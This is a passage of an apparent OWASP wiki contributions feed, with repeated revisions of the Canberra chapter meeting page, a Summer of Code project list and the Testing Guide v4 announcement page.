&lt;br /&gt;
'''Expected results:'''&lt;br /&gt;
&lt;br /&gt;
* '''IMPORTANT: [http://legacy.python.org/dev/peps/pep-0008/ PEP-8 compliant code] in all modified code and surrounding areas.'''&lt;br /&gt;
* '''IMPORTANT: [https://github.com/7a/owtf/wiki/Contributor%27s-README OWTF contributor README compliant code]'''&lt;br /&gt;
* '''IMPORTANT: [http://sphinx-doc.org/ Sphinx-friendly python comments] [http://owtf.github.io/ptp/_modules/ptp/tools/w3af/parser.html#W3AFXMLParser example Sphinx-friendly python comments here]'''&lt;br /&gt;
* Excellent reliability (i.e. proper exception handling, etc.)&lt;br /&gt;
* Good performance&lt;br /&gt;
* Unit tests / Functional tests&lt;br /&gt;
* Good documentation&lt;br /&gt;
&lt;br /&gt;
'''Knowledge Prerequisite:'''&lt;br /&gt;
&lt;br /&gt;
Python, experience with unit tests and automated regression testing would be beneficial, some previous exposure to security concepts and penetration testing is welcome but not strictly necessary as long as there is will to learn&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
'''OWASP OWTF Mentor:'''&lt;br /&gt;
&lt;br /&gt;
Abraham Aranguren - OWASP OWTF Project Leader - Contact: Abraham.Aranguren@owasp.org&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
== OWASP ZAP ==&lt;br /&gt;
&lt;br /&gt;
We are in the process of deciding the set of ZAP projects for Google Summer of Code 2015.&lt;br /&gt;
&lt;br /&gt;
You can follow (and join in) the discussions on the ZAP Developer Group: https://groups.google.com/d/msg/zaproxy-develop/Uy0JPkzsI_s/Bj7OTSkISCIJ&lt;br /&gt;
&lt;br /&gt;
== OWASP Testing Guide ==&lt;br /&gt;
&lt;br /&gt;
=== OTG ZAP Integration ===&lt;br /&gt;
'''Brief explanation:'''&lt;br /&gt;
&lt;br /&gt;
We would like the OWASP Testing Guide and ZAP to be more tightly integrated. This would require adjustments to the Testing Guide, or separate Testing with ZAP Guide, to explain how testing is completed with ZAP. ZAP would need to have reporting updated to refer to the Testing Guide test cases. &lt;br /&gt;
&lt;br /&gt;
'''Expected outputs:'''&lt;br /&gt;
&lt;br /&gt;
Amended OTG or Testing with ZAP Guide&lt;br /&gt;
Amended ZAP report strings&lt;br /&gt;
&lt;br /&gt;
'''Knowledge required:'''&lt;br /&gt;
&lt;br /&gt;
Writing skills&lt;br /&gt;
&lt;br /&gt;
'''OTG ZAP Integration mentor:''' &lt;br /&gt;
&lt;br /&gt;
Andrew Muller - OTG Project Co-Leader - Contact: Andrew.muller@owasp.org&lt;/div&gt;</summary>
		<author><name>Andrew Muller</name></author>	</entry>

	<entry>
		<id>https://wiki.owasp.org/index.php?title=Canberra&amp;diff=186632</id>
		<title>Canberra</title>
		<link rel="alternate" type="text/html" href="https://wiki.owasp.org/index.php?title=Canberra&amp;diff=186632"/>
				<updated>2014-12-08T11:54:00Z</updated>
		
		<summary type="html">&lt;p&gt;Andrew Muller: &lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;[[File:Parliament_house.jpg|900px]] {{Chapter Template|chaptername=Canberra|extra=The chapter leaders are [mailto:andrew.muller@owasp.org Andrew Muller] and [mailto:nigel.phair@canberra.edu.au Nigel Phair]|mailinglistsite=http://lists.owasp.org/mailman/listinfo/owasp-canberra|emailarchives=http://lists.owasp.org/pipermail/owasp-canberra}}&lt;br /&gt;
&lt;br /&gt;
== Local News ==&lt;br /&gt;
&lt;br /&gt;
We are teaming up with SANS from 5pm to 9pm on the 11th of February 2013 to deliver two great speakers in a new venue, the National Library Conference Room. Obviously this meeting WON'T be in our regular venue, so please note the event details in our calendar below.&lt;br /&gt;
&lt;br /&gt;
== Regular OWASP meetings ==&lt;br /&gt;
&lt;br /&gt;
The meetings of the Canberra OWASP Chapter will be held every three months on the first Wednesday of the month, but if we can keep the speakers rolling every month, then we'll make it once a month. The meeting venue and format will stay much the same with the venue kindly provided by the [http://www.canberra.edu.au/cis Centre for Internet Safety (CIS)] and the pizza and beer sponsored by [http://www.ibm.com IBM]. &lt;br /&gt;
&lt;br /&gt;
'''Date:''' See table below&lt;br /&gt;
&lt;br /&gt;
'''Time:''' 6:00pm to 9:00pm&lt;br /&gt;
&lt;br /&gt;
'''Place:''' CIS Offices, 170 Haydon drive, Bruce, ACT [http://maps.google.com.au/maps?q=170+Haydon+Drive,+Bruce,+Australian+Capital+Territory&amp;amp;hl=en&amp;amp;ll=-35.237246,149.091924&amp;amp;spn=0.005682,0.007462&amp;amp;sll=-25.335448,135.745076&amp;amp;sspn=69.187564,122.255859&amp;amp;oq=170+Haydon+drive&amp;amp;t=h&amp;amp;hnear=170+Haydon+Dr,+Bruce+Australian+Capital+Territory+2617&amp;amp;z=18]&lt;br /&gt;
&lt;br /&gt;
'''Proceedings:''' &lt;br /&gt;
&lt;br /&gt;
1) News, rumour and innuendo in AppSec by chapter leader ([https://www.owasp.org/images/f/fd/OWASP_Canberra_chapter_introduction.ppt slide deck])&lt;br /&gt;
&lt;br /&gt;
2) Guest speaker&lt;br /&gt;
&lt;br /&gt;
3) Networking and drinks&lt;br /&gt;
&lt;br /&gt;
{| border=&amp;quot;1&amp;quot;&lt;br /&gt;
|- style=&amp;quot;background:lightblue; color:black&amp;quot;&lt;br /&gt;
| '''Date''' || '''Guest Speaker''' || '''Topic'''&lt;br /&gt;
|- &lt;br /&gt;
| 6th June 2012 || '''Tim Scully''', Independent Cyber Security Advocate &amp;amp; Intelligence Risk Consultant and Foundation Board Member of CREST Australia || [https://www.owasp.org/images/5/56/OWASP_-_Scully.pptx The Cyber Threat, Trophy Information &amp;amp; the Fortress Mentality] &lt;br /&gt;
|- &lt;br /&gt;
| 4th July 2012 || '''Justin Smith''', Chief Architect of Agile Digital || A Case Study in Web Security for Large Scale Consumer Portals&lt;br /&gt;
|- &lt;br /&gt;
| 19th July 2012 || '''Jacob West''', Chief Technology Officer of HP Fortify || &lt;br /&gt;
[https://www.owasp.org/images/b/b2/OWASP_Canberra_chapter_introduction_%28July_19%29.ppt Chapter intro][https://www.owasp.org/images/9/96/Software_Security_goes_Mobile_-_Jacob_West.pdf Software Security goes Mobile]&lt;br /&gt;
|- &lt;br /&gt;
| 2nd October 2012 || '''Luke Smith''', CREST UK || Introduction to CREST and its benefits&lt;br /&gt;
|-&lt;br /&gt;
| 14th November 2012 || '''Chris Brookes''', Director Technical Assessments, Defence Signals Directorate || Cyber Security Operations Centre - Common findings and recommendations 2 years on &lt;br /&gt;
|- &lt;br /&gt;
| rowspan=4|11th February 2013 || colspan= |Joint presentation with SANS '''NOTE:''' the venue will be the National Library [https://www.owasp.org/images/4/43/OWASP_Canberra_chapter_introduction_%282013_February_11%29.pdf Chapter intro]&lt;br /&gt;
|-&lt;br /&gt;
| '''MakeHackVoid''' || 3D printer, quadcopter UAV demos and MOAR! || &lt;br /&gt;
|-&lt;br /&gt;
| '''Scott McLeod''', Chief Technology Officer of Australian Federal Police || Building successful teams using engineers and technologists &lt;br /&gt;
|-&lt;br /&gt;
| '''Nick Klein''', Independent Computer Forensic Consultant || [https://www.owasp.org/images/3/3d/Undersatnding_Computer_Forensics_%2811_Feb_2012%29.pdf How to do a computer forensic investigation … and not get burned]&lt;br /&gt;
|-&lt;br /&gt;
| 3rd April 2013 || '''Nathaniel Wieriks &amp;amp; George Stewart''', security consultants || [https://www.owasp.org/images/b/b5/OWASP_Canberra_chapter_introduction_%282013_April_3%29.pptx Chapter Intro] [https://www.owasp.org/images/9/98/The_Modern_Response_A_Defenders_Perspective.pdf A Modern Approach to Countering Evolving Cyber Threats]&lt;br /&gt;
|-&lt;br /&gt;
| 6th May 2013 || '''Jim Manico''', OWASP global board member and VP of Security Architecture at WhiteHatSec || TBA&lt;br /&gt;
|-&lt;br /&gt;
| rowspan=2|10th July 2013 || colspan=2|SANS Community Presentation '''NOTE:''' the venue will be the Hotel Realm]&lt;br /&gt;
|-&lt;br /&gt;
| '''Justin Searle''', SANS Instructor, OWASP contributor and all round good guy || Pentesting the Smart Grid&lt;br /&gt;
|-&lt;br /&gt;
| rowspan=2|18th September 2013 || '''Len Kleinman''', Director, Vulnerability Management and Research, Australian Tax Office (ATO) || Building World-Class Vulnerabilty Management and Incident Response Teams&lt;br /&gt;
|-&lt;br /&gt;
| '''MakeHackVoid''' || Hardware Hackery, 3D printer, quadcopter UAV demos and MOAR! || &lt;br /&gt;
|-&lt;br /&gt;
| 6th December 2013 || '''Matt Jones''', Volvent || shooting clay pidgins - a look at the libpurple IM library&lt;br /&gt;
|-&lt;br /&gt;
| 28th March 2014 || '''Paul Theriault''', Mozilla || [https://people.mozilla.org/~ptheriault/talk.ppt Firefox OS security model and workshop]  [http://www.mozilla.org/security/bug-bounty-faq-webapp.html#eligible-bugs Mozilla bug bounties]&lt;br /&gt;
|-&lt;br /&gt;
| 30th July 2014 || '''Simon Bennetts''', Mozilla || Introduction to Zed Attack Proxy (ZAP)  [http://sourceforge.net/projects/zaproxy/files/docs/ZAPGettingStartedGuide.pdf/download][https://www.owasp.org/index.php/File:2014-07-30owaspzapcoursecanberra1-140731025357-phpapp02.ppt Slidedeck (with answers)]&lt;br /&gt;
|-&lt;br /&gt;
| 29th August 2014 || '''Simon Bennetts''', Mozilla || Introduction to Zed Attack Proxy (ZAP)  [http://sourceforge.net/projects/zaproxy/files/docs/ZAPGettingStartedGuide.pdf/download]&lt;br /&gt;
|-&lt;br /&gt;
| 26th September 2014 || '''Simon Bennetts''', Mozilla || Fuzzing with Zed Attack Proxy (ZAP)  [http://sourceforge.net/projects/zaproxy/files/docs/ZAPGettingStartedGuide.pdf/download]&lt;br /&gt;
|-&lt;br /&gt;
| 6th November 2014 || '''Simon Bennetts''', Mozilla || Scripting with Zest &amp;amp; Zed Attack Proxy (ZAP)  [http://sourceforge.net/projects/zaproxy/files/docs/ZAPGettingStartedGuide.pdf/download]&lt;br /&gt;
|-&lt;br /&gt;
| 17th December 2014 || Mozilla || Mozilla Bug Hunt [http://www.mozilla.org/security/bug-bounty-faq-webapp.html#eligible-bugs Mozilla bug bounties]&lt;br /&gt;
|}&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
For anyone wishing to deliver or suggest a relevant presentation at a future chapter meeting, please review the speaker agreement and contact the chapter leader (andrew.muller@owasp.org). &lt;br /&gt;
&lt;br /&gt;
Everyone is welcome to join us at our chapter meetings, whether you're an OWASP member or not!&lt;br /&gt;
&lt;br /&gt;
[[Category:OWASP Chapter]]&lt;br /&gt;
[[Category:Australia]]&lt;/div&gt;</summary>
		<author><name>Andrew Muller</name></author>	</entry>

	<entry>
		<id>https://wiki.owasp.org/index.php?title=Canberra&amp;diff=184243</id>
		<title>Canberra</title>
		<link rel="alternate" type="text/html" href="https://wiki.owasp.org/index.php?title=Canberra&amp;diff=184243"/>
				<updated>2014-10-29T12:24:23Z</updated>
		
		<summary type="html">&lt;p&gt;Andrew Muller: &lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;[[File:Parliament_house.jpg|900px]] {{Chapter Template|chaptername=Canberra|extra=The chapter leaders are [mailto:andrew.muller@owasp.org Andrew Muller] and [mailto:nigel.phair@canberra.edu.au Nigel Phair]|mailinglistsite=http://lists.owasp.org/mailman/listinfo/owasp-canberra|emailarchives=http://lists.owasp.org/pipermail/owasp-canberra}}&lt;br /&gt;
&lt;br /&gt;
== Local News ==&lt;br /&gt;
&lt;br /&gt;
We are teaming up with SANS from 5pm to 9pm on the 11th of February 2013 to deliver two great speakers in a new venue, the National Library Conference Room. Obviously this meeting WON'T be in our regular venue, so please note the event details in our calendar below.&lt;br /&gt;
&lt;br /&gt;
== Regular OWASP meetings ==&lt;br /&gt;
&lt;br /&gt;
The meetings of the Canberra OWASP Chapter will be held every three months on the first Wednesday of the month, but if we can keep the speakers rolling every month, then we'll make it once a month. The meeting venue and format will stay much the same with the venue kindly provided by the [http://www.canberra.edu.au/cis Centre for Internet Safety (CIS)] and the pizza and beer sponsored by [http://www.ibm.com IBM]. &lt;br /&gt;
&lt;br /&gt;
'''Date:''' See table below&lt;br /&gt;
&lt;br /&gt;
'''Time:''' 6:00pm to 9:00pm&lt;br /&gt;
&lt;br /&gt;
'''Place:''' CIS Offices, 170 Haydon drive, Bruce, ACT [http://maps.google.com.au/maps?q=170+Haydon+Drive,+Bruce,+Australian+Capital+Territory&amp;amp;hl=en&amp;amp;ll=-35.237246,149.091924&amp;amp;spn=0.005682,0.007462&amp;amp;sll=-25.335448,135.745076&amp;amp;sspn=69.187564,122.255859&amp;amp;oq=170+Haydon+drive&amp;amp;t=h&amp;amp;hnear=170+Haydon+Dr,+Bruce+Australian+Capital+Territory+2617&amp;amp;z=18]&lt;br /&gt;
&lt;br /&gt;
'''Proceedings:''' &lt;br /&gt;
&lt;br /&gt;
1) News, rumour and innuendo in AppSec by chapter leader ([https://www.owasp.org/images/f/fd/OWASP_Canberra_chapter_introduction.ppt slide deck])&lt;br /&gt;
&lt;br /&gt;
2) Guest speaker&lt;br /&gt;
&lt;br /&gt;
3) Networking and drinks&lt;br /&gt;
&lt;br /&gt;
{| border=&amp;quot;1&amp;quot;&lt;br /&gt;
|- style=&amp;quot;background:lightblue; color:black&amp;quot;&lt;br /&gt;
| '''Date''' || '''Guest Speaker''' || '''Topic'''&lt;br /&gt;
|- &lt;br /&gt;
| 6th June 2012 || '''Tim Scully''', Independent Cyber Security Advocate &amp;amp; Intelligence Risk Consultant and Foundation Board Member of CREST Australia || [https://www.owasp.org/images/5/56/OWASP_-_Scully.pptx The Cyber Threat, Trophy Information &amp;amp; the Fortress Mentality] &lt;br /&gt;
|- &lt;br /&gt;
| 4th July 2012 || '''Justin Smith''', Chief Architect of Agile Digital || A Case Study in Web Security for Large Scale Consumer Portals&lt;br /&gt;
|- &lt;br /&gt;
| 19th July 2012 || '''Jacob West''', Chief Technology Officer of HP Fortify || &lt;br /&gt;
[https://www.owasp.org/images/b/b2/OWASP_Canberra_chapter_introduction_%28July_19%29.ppt Chapter intro][https://www.owasp.org/images/9/96/Software_Security_goes_Mobile_-_Jacob_West.pdf Software Security goes Mobile]&lt;br /&gt;
|- &lt;br /&gt;
| 2nd October 2012 || '''Luke Smith''', CREST UK || Introduction to CREST and its benefits&lt;br /&gt;
|-&lt;br /&gt;
| 14th November 2012 || '''Chris Brookes''', Director Technical Assessments, Defence Signals Directorate || Cyber Security Operations Centre - Common findings and recommendations 2 years on &lt;br /&gt;
|- &lt;br /&gt;
| rowspan=4|11th February 2013 || colspan= |Joint presentation with SANS '''NOTE:''' the venue will be the National Library [https://www.owasp.org/images/4/43/OWASP_Canberra_chapter_introduction_%282013_February_11%29.pdf Chapter intro]&lt;br /&gt;
|-&lt;br /&gt;
| '''MakeHackVoid''' || 3D printer, quadcopter UAV demos and MOAR! || &lt;br /&gt;
|-&lt;br /&gt;
| '''Scott McLeod''', Chief Technology Officer of Australian Federal Police || Building successful teams using engineers and technologists &lt;br /&gt;
|-&lt;br /&gt;
| '''Nick Klein''', Independent Computer Forensic Consultant || [https://www.owasp.org/images/3/3d/Undersatnding_Computer_Forensics_%2811_Feb_2012%29.pdf How to do a computer forensic investigation … and not get burned]&lt;br /&gt;
|-&lt;br /&gt;
| 3rd April 2013 || '''Nathaniel Wieriks &amp;amp; George Stewart''', security consultants || [https://www.owasp.org/images/b/b5/OWASP_Canberra_chapter_introduction_%282013_April_3%29.pptx Chapter Intro] [https://www.owasp.org/images/9/98/The_Modern_Response_A_Defenders_Perspective.pdf A Modern Approach to Countering Evolving Cyber Threats]&lt;br /&gt;
|-&lt;br /&gt;
| 6th May 2013 || '''Jim Manico''', OWASP global board member and VP of Security Architecture at WhiteHatSec || TBA&lt;br /&gt;
|-&lt;br /&gt;
| rowspan=2|10th July 2013 || colspan=2|SANS Community Presentation '''NOTE:''' the venue will be the Hotel Realm]&lt;br /&gt;
|-&lt;br /&gt;
| '''Justin Searle''', SANS Instructor, OWASP contributor and all round good guy || Pentesting the Smart Grid&lt;br /&gt;
|-&lt;br /&gt;
| rowspan=2|18th September 2013 || '''Len Kleinman''', Director, Vulnerability Management and Research, Australian Tax Office (ATO) || Building World-Class Vulnerabilty Management and Incident Response Teams&lt;br /&gt;
|-&lt;br /&gt;
| '''MakeHackVoid''' || Hardware Hackery, 3D printer, quadcopter UAV demos and MOAR! || &lt;br /&gt;
|-&lt;br /&gt;
| 6th December 2013 || '''Matt Jones''', Volvent || shooting clay pidgins - a look at the libpurple IM library&lt;br /&gt;
|-&lt;br /&gt;
| 28th March 2014 || '''Paul Theriault''', Mozilla || [https://people.mozilla.org/~ptheriault/talk.ppt Firefox OS security model and workshop]  [http://www.mozilla.org/security/bug-bounty-faq-webapp.html#eligible-bugs Mozilla bug bounties]&lt;br /&gt;
|-&lt;br /&gt;
| 30th July 2014 || '''Simon Bennetts''', Mozilla || Introduction to Zed Attack Proxy (ZAP)  [http://sourceforge.net/projects/zaproxy/files/docs/ZAPGettingStartedGuide.pdf/download][https://www.owasp.org/index.php/File:2014-07-30owaspzapcoursecanberra1-140731025357-phpapp02.ppt Slidedeck (with answers)]&lt;br /&gt;
|-&lt;br /&gt;
| 29th August 2014 || '''Simon Bennetts''', Mozilla || Introduction to Zed Attack Proxy (ZAP)  [http://sourceforge.net/projects/zaproxy/files/docs/ZAPGettingStartedGuide.pdf/download]&lt;br /&gt;
|-&lt;br /&gt;
| 26th September 2014 || '''Simon Bennetts''', Mozilla || Fuzzing with Zed Attack Proxy (ZAP)  [http://sourceforge.net/projects/zaproxy/files/docs/ZAPGettingStartedGuide.pdf/download]&lt;br /&gt;
|-&lt;br /&gt;
| 6th November 2014 || '''Simon Bennetts''', Mozilla || Scripting with Zest &amp;amp; Zed Attack Proxy (ZAP)  [http://sourceforge.net/projects/zaproxy/files/docs/ZAPGettingStartedGuide.pdf/download]&lt;br /&gt;
|-&lt;br /&gt;
| 28th-30th November 2014 || Mozilla || Mozilla Bug Hunt [http://www.mozilla.org/security/bug-bounty-faq-webapp.html#eligible-bugs Mozilla bug bounties]&lt;br /&gt;
|}&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
For anyone wishing to deliver or suggest a relevant presentation at a future chapter meeting, please review the speaker agreement and contact the chapter leader (andrew.muller@owasp.org). &lt;br /&gt;
&lt;br /&gt;
Everyone is welcome to join us at our chapter meetings, whether you're an OWASP member or not!&lt;br /&gt;
&lt;br /&gt;
[[Category:OWASP Chapter]]&lt;br /&gt;
[[Category:Australia]]&lt;/div&gt;</summary>
		<author><name>Andrew Muller</name></author>	</entry>

	<entry>
		<id>https://wiki.owasp.org/index.php?title=OWASP_Testing_Project&amp;diff=182536</id>
		<title>OWASP Testing Project</title>
		<link rel="alternate" type="text/html" href="https://wiki.owasp.org/index.php?title=OWASP_Testing_Project&amp;diff=182536"/>
				<updated>2014-09-18T10:10:44Z</updated>
		
		<summary type="html">&lt;p&gt;Andrew Muller: /* OWASP Testing Guide v4 */&lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;{{OWASP Breakers}}&lt;br /&gt;
{{OWASP Book|5691953}}&lt;br /&gt;
{{Social Media Links}}&lt;br /&gt;
&lt;br /&gt;
= New OWASP Testing Guide  =&lt;br /&gt;
&lt;br /&gt;
== OWASP Testing Guide v4  ==&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
ANNOUNCING THE NEW &amp;quot;OWASP TESTING GUIDE v4&lt;br /&gt;
&lt;br /&gt;
17th September, 2014: OWASP is announcing the new OWASP Testing Guide v4.&amp;lt;br&amp;gt;&lt;br /&gt;
&lt;br /&gt;
A big thank you to all the contributors and reviewers!&amp;lt;br&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;br&amp;gt;You can download the Guide [https://www.owasp.org/index.php/File:Testing_guide_V4_portrait.pdf here]&amp;lt;br&amp;gt;&lt;br /&gt;
&lt;br /&gt;
[[File:OWTGv4 Cover.png]]&lt;br /&gt;
&lt;br /&gt;
Or browse the guide on the wiki [https://www.owasp.org/index.php/OWASP_Testing_Guide_v4_Table_of_Contents here]&lt;br /&gt;
&lt;br /&gt;
= Old OWASP Testing Guides =&lt;br /&gt;
&lt;br /&gt;
== OWASP Testing Guide v3  ==&lt;br /&gt;
&lt;br /&gt;
16th December 2008: OWASP Testing Guide v3 is finished!&amp;lt;br&amp;gt; &lt;br /&gt;
&lt;br /&gt;
*You can download the Guide in PDF [http://www.owasp.org/images/5/56/OWASP_Testing_Guide_v3.pdf here] &lt;br /&gt;
*Download the presentation [https://www.owasp.org/images/2/2c/OWASP_EU_Summit_2008_OWASP_Testing_Guide_v3.ppt here] &lt;br /&gt;
*Browse the Testing Guide v3 on the wiki [https://www.owasp.org/index.php/OWASP_Testing_Guide_v3_Table_of_Contents here]&lt;br /&gt;
&lt;br /&gt;
''''NEW: OWASP projects and resources you can use TODAY''''&amp;lt;br&amp;gt;&lt;br /&gt;
16th April 2010 in London, OWASP leaders deliver a course focused on the main OWASP Projects.&amp;lt;br&amp;gt;&lt;br /&gt;
Matteo Meucci will deliver a training course on the OWASP Testing Guide v3. &amp;lt;br&amp;gt;&lt;br /&gt;
More information [http://www.owasp.org/index.php/London/Training/OWASP_projects_and_resources_you_can_use_TODAY here]&lt;br /&gt;
&lt;br /&gt;
Video @ FOSDEM 09: [http://fosdem.unixheads.org/2009/maintracks/owasp.ogv here] &lt;br /&gt;
&lt;br /&gt;
Citations:&lt;br /&gt;
&lt;br /&gt;
http://www.owasp.org/index.php/Testing_Guide_Quotes&lt;br /&gt;
&lt;br /&gt;
== Overview  ==&lt;br /&gt;
&lt;br /&gt;
This project's goal is to create a &amp;quot;best practices&amp;quot; web application penetration testing framework which users can implement in their own organizations and a &amp;quot;low level&amp;quot; web application penetration testing guide that describes how to find certain issues. &lt;br /&gt;
&lt;br /&gt;
Version 3 of the Testing Guide was released in December 2008 after going through a major upgrade through the [[OWASP Summer of Code 2008]]. &lt;br /&gt;
&lt;br /&gt;
= Background and Motivation  =&lt;br /&gt;
&lt;br /&gt;
'''History Behind Project''' The OWASP Testing guide originated in 2003 with Dan Cuthbert as one of the original editors. It was handed over to [[User:EoinKeary|Eoin Keary]] in 2005 and moved onto the new OWASP wiki when it came online. Being in a wiki is easier for people to contribute and has made updating much easier. [[User:Mmeucci|Matteo Meucci]] took on the Testing guide after Eoin and shepherded it through the version 2 and version 3 updates, which have been significant improvements. &lt;br /&gt;
&lt;br /&gt;
= Project History  =&lt;br /&gt;
&lt;br /&gt;
== OWASP Testing Guide v3  ==&lt;br /&gt;
&lt;br /&gt;
Testing Guide v3: plan (archive) &lt;br /&gt;
&lt;br /&gt;
26th April 2008: Version 3 of the Testing Guide started under [[OWASP Summer of Code 2008]]. &lt;br /&gt;
&lt;br /&gt;
6th November 2008: Completed draft created and previewed at [[OWASP EU Summit 2008|OWASP EU Summit 2008 in Portugal]]. &lt;br /&gt;
&lt;br /&gt;
Final stable release in December 2008 &lt;br /&gt;
&lt;br /&gt;
== OWASP Testing Guide v2  ==&lt;br /&gt;
&lt;br /&gt;
'''10th February 2007: The OWASP Testing Guide v2 is now published''' [[User:Mmeucci|Matteo Meucci]] (as part of his [[OWASP Autumn of Code 2006 - Projects: Testing Guide|AoC project]]) has just published the latest version of Testing guide which: &lt;br /&gt;
&lt;br /&gt;
*you can read it on line on the [http://www.owasp.org/index.php/OWASP_Testing_Guide_v2_Table_of_Contents Testing Guide v2 wiki] &lt;br /&gt;
*or download the Guide in [http://www.owasp.org/index.php/Image:OWASP_Testing_Guide_v2_pdf.zip Adobe PDF format] or in [http://www.owasp.org/index.php/Image:OWASP_Testing_Guide_v2_doc.zip Ms Doc format]&lt;br /&gt;
&lt;br /&gt;
'''OWASP Testing Guide v2 in Spanish:''' Now you can get a complete translation in [http://www.owasp.org/index.php/Image:OWASP_Testing_Guide_v2_spanish_doc.zip Ms Doc format] &lt;br /&gt;
&lt;br /&gt;
For comments or questions, please join the [http://lists.owasp.org/mailman/listinfo/owasp-testing OWASP Testing mailing list], read our archive and share your ideas. Alternatively you can contact [[User:EoinKeary|Eoin Keary]] or [[User:Mmeucci|Matteo Meucci]] directly. &lt;br /&gt;
&lt;br /&gt;
Here you can find: &lt;br /&gt;
&lt;br /&gt;
*[http://www.owasp.org/index.php/Testing_Guide_Quotes The OWASP Testing Guide 'Quotes'] &lt;br /&gt;
*[http://www.owasp.org/index.php/OWASP_Testing_Guide_Presentations Testing Guide presentations]&lt;br /&gt;
&lt;br /&gt;
= Related  =&lt;br /&gt;
&lt;br /&gt;
'''OWASP Testing Guide (v2+v3) Report Generator''' is found at [http://yehg.net/lab/#wasarg http://yehg.net/lab/#wasarg]. &lt;br /&gt;
&lt;br /&gt;
'''THE OWASP Testing Project Live CD''' The OWASP testing project is currently implementing an Application security Live CD. &amp;lt;br&amp;gt; LabRat Version 0.8 Alpha is just weeks away from Beta testing*. &lt;br /&gt;
&lt;br /&gt;
The aim of this CD is to have a complete testing suite on one Disk. The CD shall also contain the forthcoming OWASP Testing guide. &lt;br /&gt;
&lt;br /&gt;
The Live CD now has its own section you can find it here: [http://www.owasp.org/index.php/Category:OWASP_Live_CD_Project] &lt;br /&gt;
&lt;br /&gt;
= Feedback and Participation  =&lt;br /&gt;
&lt;br /&gt;
We hope you find the information in the OWASP Testing project useful. Please contribute back to the project by sending your comments, questions, and suggestions to the OWASP Testing mailing list. Thanks! &lt;br /&gt;
&lt;br /&gt;
To join the OWASP Testing mailing list or view the archives, please visit the [http://lists.owasp.org/mailman/listinfo/owasp-testing subscription page]. &lt;br /&gt;
&lt;br /&gt;
= Translations =&lt;br /&gt;
&lt;br /&gt;
Thanks to the translators all around the world you can download the guide in the following languages:&lt;br /&gt;
&lt;br /&gt;
* Spanish in [http://www.owasp.org/images/8/80/Gu%C3%ADa_de_pruebas_de_OWASP_ver_3.0.pdf PDF] or [http://www.owasp.org/images/d/d7/Gu%C3%ADa_de_pruebas_de_OWASP_ver_3.0.zip MS Word] formats. &lt;br /&gt;
&lt;br /&gt;
* Chinese in [http://www.owasp.org/images/0/06/OWASP%E6%B5%8B%E8%AF%95%E6%8C%87%E5%8D%97%28%E4%B8%AD%E6%96%87%EF%BC%89.pdf PDF] format. (Thanks to the [http://www.owasp.org/index.php/China-Mainland China-mainland chapter].)&lt;br /&gt;
&lt;br /&gt;
* Japanese in [http://www.owasp.org/images/1/1e/OTGv3Japanese.pdf PDF] format here (this is a 1st draft, final release coming soon). &lt;br /&gt;
&lt;br /&gt;
= Project About =&lt;br /&gt;
{{:Projects/OWASP Testing Project | Project About}}&lt;br /&gt;
&lt;br /&gt;
__NOTOC__ &lt;br /&gt;
&amp;lt;headertabs /&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
[[Category:OWASP_Project|Testing Guide]] [[Category:OWASP_Document]] [[Category:OWASP_Download]] [[Category:OWASP_Release_Quality_Document|OWASP Stable Quality Document]]&lt;/div&gt;</summary>
		<author><name>Andrew Muller</name></author>	</entry>

	<entry>
		<id>https://wiki.owasp.org/index.php?title=File:Testing_guide_V4_portrait.pdf&amp;diff=182535</id>
		<title>File:Testing guide V4 portrait.pdf</title>
		<link rel="alternate" type="text/html" href="https://wiki.owasp.org/index.php?title=File:Testing_guide_V4_portrait.pdf&amp;diff=182535"/>
				<updated>2014-09-18T10:03:48Z</updated>
		
		<summary type="html">&lt;p&gt;Andrew Muller: Pipes edition.&lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;Pipes edition.&lt;/div&gt;</summary>
		<author><name>Andrew Muller</name></author>	</entry>

	<entry>
		<id>https://wiki.owasp.org/index.php?title=Canberra&amp;diff=181427</id>
		<title>Canberra</title>
		<link rel="alternate" type="text/html" href="https://wiki.owasp.org/index.php?title=Canberra&amp;diff=181427"/>
				<updated>2014-08-29T12:28:01Z</updated>
		
		<summary type="html">&lt;p&gt;Andrew Muller: &lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;[[File:Parliament_house.jpg|900px]] {{Chapter Template|chaptername=Canberra|extra=The chapter leaders are [mailto:andrew.muller@owasp.org Andrew Muller] and [mailto:nigel.phair@canberra.edu.au Nigel Phair]|mailinglistsite=http://lists.owasp.org/mailman/listinfo/owasp-canberra|emailarchives=http://lists.owasp.org/pipermail/owasp-canberra}}&lt;br /&gt;
&lt;br /&gt;
== Local News ==&lt;br /&gt;
&lt;br /&gt;
We are teaming up with SANS from 5pm to 9pm on the 11th of February 2013 to deliver two great speakers in a new venue, the National Library Conference Room. Obviously this meeting WON'T be in our regular venue, so please note the event details in our calendar below.&lt;br /&gt;
&lt;br /&gt;
== Regular OWASP meetings ==&lt;br /&gt;
&lt;br /&gt;
The meetings of the Canberra OWASP Chapter will be held every three months on the first Wednesday of the month, but if we can keep the speakers rolling every month, then we'll make it once a month. The meeting venue and format will stay much the same with the venue kindly provided by the [http://www.canberra.edu.au/cis Centre for Internet Safety (CIS)] and the pizza and beer sponsored by [http://www.ibm.com IBM]. &lt;br /&gt;
&lt;br /&gt;
'''Date:''' See table below&lt;br /&gt;
&lt;br /&gt;
'''Time:''' 6:00pm to 9:00pm&lt;br /&gt;
&lt;br /&gt;
'''Place:''' CIS Offices, 170 Haydon drive, Bruce, ACT [http://maps.google.com.au/maps?q=170+Haydon+Drive,+Bruce,+Australian+Capital+Territory&amp;amp;hl=en&amp;amp;ll=-35.237246,149.091924&amp;amp;spn=0.005682,0.007462&amp;amp;sll=-25.335448,135.745076&amp;amp;sspn=69.187564,122.255859&amp;amp;oq=170+Haydon+drive&amp;amp;t=h&amp;amp;hnear=170+Haydon+Dr,+Bruce+Australian+Capital+Territory+2617&amp;amp;z=18]&lt;br /&gt;
&lt;br /&gt;
'''Proceedings:''' &lt;br /&gt;
&lt;br /&gt;
